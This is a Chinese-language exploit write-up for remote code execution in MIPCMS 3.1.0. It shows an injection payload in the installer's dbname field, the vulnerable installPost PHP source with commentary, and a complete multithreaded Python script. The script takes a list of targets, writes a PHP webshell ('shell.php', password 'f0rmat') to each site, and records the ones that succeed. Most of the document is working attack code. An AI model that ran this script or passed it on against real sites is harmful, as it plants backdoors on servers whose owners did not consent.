MIPCMS V3.1.0 远程写入配置文件Getshell(每日一洞)

username=admin&password=admin&rpassword=admin&dbport=3306&dbname=test',1=>eval(file_get_contents('php://input')),'2'=>'&dbhost=192.168.1.102&dbuser=root&dbpw=root

public function installPost(Request $request) {
                header('Access-Control-Allow-Origin: *');
                header('Access-Control-Allow-Credentials: true');
                header('Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS');
                header('Access-Control-Allow-Headers: Content-Type, Content-Range,access-token, secret-key,access-key,uid,sid,terminal,X-File-Name,Content-Disposition, Content-Description');
            if (Request::instance()->isPost()) {//判断是否有post的数据
                $dbconfig['type']="mysql";//定义数据库类型
                $dbconfig['hostname']=input('post.dbhost');//接受post过来的dbhost的值，然后赋值到$dbconfig的数组里面，下面以此类推
                $dbconfig['username']=input('post.dbuser');
                $dbconfig['password']=input('post.dbpw');
                $dbconfig['hostport']=input('post.dbport');
                $dbname=strtolower(input('post.dbname'));//这里用了转换小写的函数，所以后面构造poc的时候就不能直接写入一句话木马$_POST了
                
                $username = input('post.username');
                $password = input('post.password');
                $rpassword = input('post.rpassword');
                if (!$username) {//判断上面是否有post这个值过来，没有就执行下面的报错，后面的以此类推
                    return jsonError('请输入用户名');
                }
                if (!$password) {
                    return jsonError('请输入密码');
                }
                if (!$rpassword) {
                    return jsonError('请输入重复密码');
                }
                //下面这句是构造PDO的连接方式，如果有不懂的同学可以去了解下，因为这种方式比老的sql执行方式安全
                $dsn = "mysql:dbname={$dbname};host={$dbconfig['hostname']};port={$dbconfig['hostport']};charset=utf8";
                try {//如果有学过Python的同学可以晓得try的方式可以自定义报错信息，可以避免泄露其他的敏感数据库信息
                    $db = new \PDO($dsn, $dbconfig['username'], $dbconfig['password']);
                } catch (\PDOException $e) {
                    return jsonError('错误代码:'.$e->getMessage());
                }
                $dbconfig['database'] = $dbname;//把上面post过来的数据库名赋值到数组
                $dbconfig['prefix']=trim(input('dbprefix'));//接受post过来的数据前缀，然后用trim去掉两边的空白字符
                $tablepre = input("dbprefix");//表名前缀
                $sql = file_get_contents(PUBLIC_PATH.'package'.DS.'mipcms_v_3_1_0.sql');//读取数据库文件mipcms_v_3_1_0.sql的内容
                $sql = str_replace("\r", "\n", $sql);//把刚读到的内容进行替换操作，"\r"是换行符，"\n"是回车符
                $sql = explode(";\n", $sql);//用explode函数以\n区别然后转换为数组形式
                $default_tablepre = "mip_";//定义默认的表名前缀
                $sql = str_replace(" `{$default_tablepre}", " `{$tablepre}", $sql);//把上面传来的表名前缀替换掉默认的表名前缀
                foreach ($sql as $item) {//这里有个遍历数组，就是把刚才的数组遍历然后一句一句执行
                    $item = trim($item);
                    if(empty($item)) continue;
                    //这里有个正则匹配，正则总会把对新手弄得云里雾里，其实也不难，这里的意思就是匹配到创建表的语句先执行，然后再执行下面的，要不然会出现错误.
                    preg_match('/CREATE TABLE `([^ ]*)`/', $item, $matches);
                    if($matches) {//如果匹配到创建数据表的语句就执行，如果匹配到然后下面的执行不成功就会终止提示安装失败
                        if(false !== $db->exec($item)){

                        } else {
                           return jsonError('安装失败');
                        }
                    } else {
                        $db->exec($item);
                    }
                }
                
                
                if(is_array($dbconfig)){//判断是否为数组
                    $conf = file_get_contents(PUBLIC_PATH.'package'.DS.'database.php');//读取package文件夹下面的database.php文件
                    foreach ($dbconfig as $key => $value) {
                        $conf = str_replace("#{$key}#", $value, $conf);//把刚才读到的内容里面替换掉指定数组键的值，为什么要有#，可以去看刚才文件就可以看到了
                    }
                    $install = CONF_PATH;//把环境常量的conf路径赋值
                    if(!is_writable($install)){//判断这个目录是否有写入的权限
                        return jsonError('路径：'.$install.'没有写入权限');
                    }
                    try {
                        $fileStatus = is_file(CONF_PATH. '/database.php');//判读这个目录下的database.php是否存在
                        if ($fileStatus) {
                             unlink(CONF_PATH. '/database.php');//如果存在就删除这个文件
                        }
                        file_put_contents(CONF_PATH. '/database.php', $conf);//然后重新再写如我们刚才替换的新的数据库文件
                        return jsonSuccess('配置文件写入成功',1);
                    } catch (Exception $e) {
                        return jsonError('database.php文件写入失败，请检查system/config 文件夹是否可写入');
                    }
                    
                }

        }

    }

username=admin&password=admin&rpassword=admin&dbport=3306&dbname=test',1=>eval(file_get_contents('php://input')),'2'=>'&dbhost=192.168.1.102&dbuser=root&dbpw=root

#!/usr/bin/env
#author:F0rmat
import sys
import requests
import threading
def exploit(target):
    dbhost='192.168.1.102'
    dbuser = 'root'
    dbpw = 'root'
    dbport=3306
    dbname="test',1=>eval(file_get_contents('php://input')),'2'=>'"
    if sys.argv[1]== "-f":
        target=target[0]
    url1=target+"/index.php?s=/install/Install/installPost"
    data={
        "username": "admin",
        "password":  "admin",
        "rpassword": "admin",
        "dbport": dbport,
        "dbname": dbname,
        "dbhost": dbhost,
        "dbuser": dbuser,
        "dbpw": dbpw,
    }
    payload = "fwrite(fopen('shell.php','w'),'<?php @eval($_POST[f0rmat])?>f0rmat');"
    url2=target+"/system/config/database.php"
    shell = target+'/system/config/shell.php'
    try:
        requests.post(url1,data=data).content
        requests.post(url2, data=payload)
        verify = requests.get(shell, timeout=3)
        if "f0rmat" in verify.content:
            print 'Write success,shell url:',shell,'pass:f0rmat'
            with open("success.txt","a+") as f:
                f.write(shell+'  pass:f0rmat'+"\n")
        else:
            print target,'Write failure!'
    except Exception, e:
        print e
def main():
    if len(sys.argv)<3:
        print 'python mipcms_3.1.0.py -h target/-f target-file '
    else:
        if sys.argv[1] == "-h":
            exploit(sys.argv[2])
        elif sys.argv[1] == "-f":
            with open(sys.argv[2], "r") as f:
                b = f.readlines()
                for i in xrange(len(b)):
                    if not b[i] == "\n":
                        threading.Thread(target=exploit, args=(b[i].split(),)).start()



if __name__ == '__main__':
    main()